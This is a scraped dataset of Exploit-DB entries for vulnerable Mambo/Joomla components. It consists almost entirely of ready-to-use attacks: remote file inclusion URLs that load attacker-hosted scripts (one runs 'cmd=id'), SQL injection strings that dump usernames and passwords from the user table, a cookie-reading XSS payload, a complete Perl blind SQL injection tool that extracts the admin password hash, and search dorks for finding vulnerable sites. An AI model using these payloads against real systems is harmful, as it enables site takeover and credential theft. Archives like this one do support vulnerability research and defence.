deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2213
Description: Mambo Component MamboWiki 0.9.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-18
Author: camino

Exploit:
    .:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: MamboWiki <= v0.9.6

          (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: MamboWiki
 
  Version: <= 0.9.6
 
  Vulnerable File: MamboLogin.php
 
  URL: http://www.lyquidity.com
 
  Description: A component like Wikipedia for Jooma/Mambo.
 
  Dork: inurl:"com_mambowiki"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


  http://[sitepath]/[joomlapath]/components/com_mambowiki/ MamboLogin.php?IP=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open MamboLogin.php
 
  o2.) add this in line 8:

         defined( '_VALID_MOS' ) or 

         die( 'Direct Access to this location is not allowed.' );

  o3.) done!



 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members of insecurity research team ;-)

# milw0rm.com [2006-08-18]
Exploit-DB #10750
Description: Mambo Component Material Suche 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-27
Author: Gamoscu

Exploit:
#############################################################
# Mambo Component Material Suche 1.0 SQL injection Vulnerability

# Author: Gamoscu

# Site: www.1923turk.biz

# Site: http://gamoscu.wordpress.com/

# Greetz: Manas58 Baybora Delibey Tiamo Psiko Turco infazci X-TRO
  
##############################################################

# Exploit:

   index.php?option=com_materialsuche&Itemid=70&tsk=detail&id=[SQL-inj]


  -1+union+select+1,2,3,version(),null,null,7,null,9,null,null,null,null,14,null,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
     
##############################################################

Vatan Lafla De&#65533;il Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin
Exploit-DB #2084
Description: Mambo Component MGM 0.95r2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-28
Author: A-S-T TEAM

Exploit:
----------------------------------------------------
Mambo Gallery Manager v095.r3 Remote File Inclusion Vulnerabilities
----------------------------------------------------
Discovered By A-S-T TEAM
WE ARE CrAsH_oVeR_rIdE & BLACK-CODE & MR-HCR
----------------------------------------------------
site of script:http://mamboxchange.com/frs/?group_id=175&release_id=1289
----------------------------------------------------
Vulnerable: Mambo Gallery Manager v095.r3(mgm)
----------------------------------------------------
vulnerable file :
------------------
help.mgm.php
----------------------------------------------------
vulnerable code:
----------------------------------------------------
require $mosConfig_absolute_path .
"/administrator/components/com_mgm/diagnostics.mgm.php";
$mosConfig_absolute_path File inclusion
----------------------------------------------------
Exploit:
http://www.example.com/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=http://evalcode.txt
----------------------------------------------------------------------------------------------------
Discovered By A-S-T TEAM
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG_HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,ALMOKAN3,Broken-proxy,troq AND ALL LEZR.COM Member

# milw0rm.com [2006-07-28]
Exploit-DB #2182
Description: Mambo Component MMP 1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-14
Author: mdx

Exploit:
####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_mmp Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: help.mmp.php?, line 12

<?php
       global $mosConfig_absolute_path;
       require $mosConfig_absolute_path .
"/administrator/components/com_mmp/diagnostics.mmp.php";
       diagnostics();
?>

Exploit:
http://www.site.com/[path]/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################

Greetz: Cyber-warrior TIM USERS and xoron

####################################################

# milw0rm.com [2006-08-14]
Exploit-DB #2062
Description: Mambo Component MoSpray 18RC1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-23
Author: Kurdish Security

Exploit:
>>> Kurdish Security
>>> MoSpray Remote File Include Vulnerability
>>> Original Advisory : http://kurdishsecurity.blogspot.com/2006/07/kurdish-security-14-mospray-basedir.html

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com
>>> Rish : High
>>> Class : Remote
>>> Script : MoSpray
>>> Site : http://www.caneblu.com
>>> Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends


codes
require("$basedir/components/com_mospray/lang/$lang/admin.php");

d0rkiz : allinurl:"com_mospray"

http://www.site.com/components/com_mospray/scripts/admin.php?basedir=yourcode.txt?&cmd=id

Used link :]

admin.php
details.php
modify.php
newgroup.php
newtask.php
rss.php

e0f

# milw0rm.com [2006-07-23]
Exploit-DB #2066
Description: Mambo Component multibanners 1.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-23
Author: Blue|Spy

Exploit:
#############################SolpotCrew Community################################
#
# Com Multibanners Remote File Inclusion (mosConfig_absolute_path)
#
# original advisory : http://solpotcrew.org/adv/BlueSpy-adv-multibanners.txt
#
#################################################################################
#
#
# Bug Found By :Blue|Spy
#
# contact: mail@blue-spy.net
#
# Website : http://kunamgede.biz, http://blue-spy.net
#
################################################################################
#
#
# Greetz: h4ntu , Fungky, Solpot, Matdhule
# and all crew #mardongan @ irc.dal.net
#
#
###############################################################################

code from extadminmenus.class.php

if (phpversion() < '4.2.0') {
require_once( $mosConfig_absolute_path . '/includes/compat.php41x.php' );
}

if (phpversion() < '4.3.0') {
require_once( $mosConfig_absolute_path . '/includes/compat.php42x.php' );
}

Dork:
inurl:com_multibanners

exploit:
http://site.com/[path]//administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=[attacker]

##############################MY LOVE JUST FOR U LIENA#########################
########################################################################

# milw0rm.com [2006-07-23]
Exploit-DB #5011
Description: Mambo Component musepoes - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_musepoes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_musepoes"
#
########################################################################
EXPLOIT :

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN                     www.hackturkiye.com               S@BUN #########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                       S@BUN
#########################################################################


-------------------------------------------------------------------------------------------------------------------------------------------------

#########################################################################
#
# joomla SQL Injection(com_buslicense)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_buslicense"
#
########################################################################
EXPLOIT :

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                 S@BUN
#########################################################################
# S@BUN                    GOOD LUCKY                        S@BUN
#########################################################################

# milw0rm.com [2008-01-30]
Exploit-DB #7064
Description: Mambo Component n-form - 'form_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-08
Author: boom3rang

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
system("Title Kosova Hackers Group by boom3rang"); 
 print " \n";
 print " #######################################################################\n";
 print "  #   Mambo Component n-form(form_id) Blind SQL Injection Exploit \n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Author: boom3rang [www.khg-crew.ws] \n";
 print "  #   Greetz: H!tmaN, KHG, chs, redc00de - Kosova Hackers Group\n";
 print "  #   Site:   www.khg-crew.ws\n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Dork :   inurl:option=com_n-forms form_id \n";
 print "  #   Usage:   perl exploit.pl host path <options> \n";
 print "  #   Example: perl exploit.pl www.host.com /path/ -a 3 \n";
 print "  # -----------------------------------------------------------\n";
 print "  #   Options: \n";
 print "  #     -a   valid form id \n";
 print " #######################################################################\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
 $userid = $options{"u"};
}

if($options{"a"})
{
 $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
 my $f = 0;
 my $h = 48;
 while(!$f && $h <= 57)
 {
   if(istrue2($host, $path, $userid, $aid, $i, $h))
   {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$f)
 {
   $h = 97;
   while(!$f && $h <= 122)
   {
     if(istrue2($host, $path, $userid, $aid, $i, $h))
     {
       $f = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $uid   = shift;
 my $aid   = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $query = "http://".$host.$path."index.php?option=com_n-forms&form_id=".$aid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1),".$i.",1))=".$h."";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $resp = $ua->get($query);
 my $content = $resp->content;
 my $regexp = "Back";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }

}

# milw0rm.com [2008-11-08]
Exploit-DB #36108
Description: Mambo Component N-Frettir - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49422/info

The Mambo CMS N-Frettir component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[PATH]/index.php?option=com_n-frettir&do=view&Itemid=81&id=-54 union select 0,username,2,password,4,5,6,7,8,9,10 from mos_users
Exploit-DB #36102
Description: Mambo Component N-Gallery - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49418/info

The Mambo CMS N-Gallery component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_n-gallery&Itemid=-0&flokkur=23 union select 0 from mos_users--
Exploit-DB #36109
Description: Mambo Component N-Myndir - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49424/info

The Mambo CMS N-Myndir component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_n-myndir&flokkur=-16 union select username from mos_users
Exploit-DB #36106
Description: Mambo Component N-Press - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49420/info

The Mambo CMS N-Press component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_n-press&press=10 union select 0,username,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from mos_users
Exploit-DB #36097
Description: Mambo Component N-Skyrslur - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49415/info

Mambo CMS N-Skyrslur is prone to cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/[PATH]/index.php?option=com_n-skyrslur&Itemid=51&do=<script>alert(document.cookie)</script>
Exploit-DB #3539
Description: Mambo Component nfnaddressbook 0.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-21
Author: Cold Zero

Exploit:
######################################################
#
# MAMBO & Joomla NFN Address Book v0.4 (nfnaddressbook.php) Remote File Include Vulnerabilities
#
######################################################
#
# script : http://mamboxchange.com/frs/download.php/8191/com_nfn_addressbook.zip
#
######################################################
#
# About : The NFN Address Book manages lists of contacts that can be split into groups and allows for hiding of private contacts.
#          Unlike other address books it is owned by a Mambo user but the contacts are NOT Mambo users.
#
######################################################
#
# file :  nfnaddressbook.php
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ , Team Hell Crew
#
######################################################
#
# require_once ( $mosConfig_absolute_path .  '/components/com_'._MISC_DB_PREFIX.'addressbook/functions.php' );
#
######################################################
# Exploit :
#
#   this usege : http://www.example.com/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
#           or : http://www.example.com/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
             |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
             |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
             | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper |
             All i know


#Big Thx For : www.4azhar.com , Viva My HomeLand Palestine

# milw0rm.com [2007-03-21]
Exploit-DB #2024
Description: Mambo Component pc_cookbook 0.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-17
Author: Matdhule

Exploit:
---------------------------------------------------------------------------------
pc_cookbook Joomla Component <= v0.3 Remote File Include Vulnerabilities
---------------------------------------------------------------------------------

Author : Matdhule
Contact : matdhule@gmail.com
Application : pc_cookbook Component
Version : koyans 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog

---------------------------------------------------------------------------------
Dork : allinurl:com_pccookbook

Exploit :
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=http://evilscript

---------------------------------------------------------------------------------

Greetz : solpot, j4mbi_h4ck3r, h4ntu, the_day, & all crews #mardongan, #jambihackerlink @dalnet

# milw0rm.com [2006-07-17]
Exploit-DB #1956
Description: Mambo Component Pearl 1.6 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-27
Author: Kw3[R]Ln

Exploit:
--------------------------------------------------------------------------- 
Pearl For Mambo <= 1.6 (GlobalSettings[templatesDirectory]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Pearl For Mambo 
version : latest version [ 1.6 ]
Description: component for mambo
URL : http://www.pearlinger.com

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] 
# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script]


---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $[evil_script]
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-27]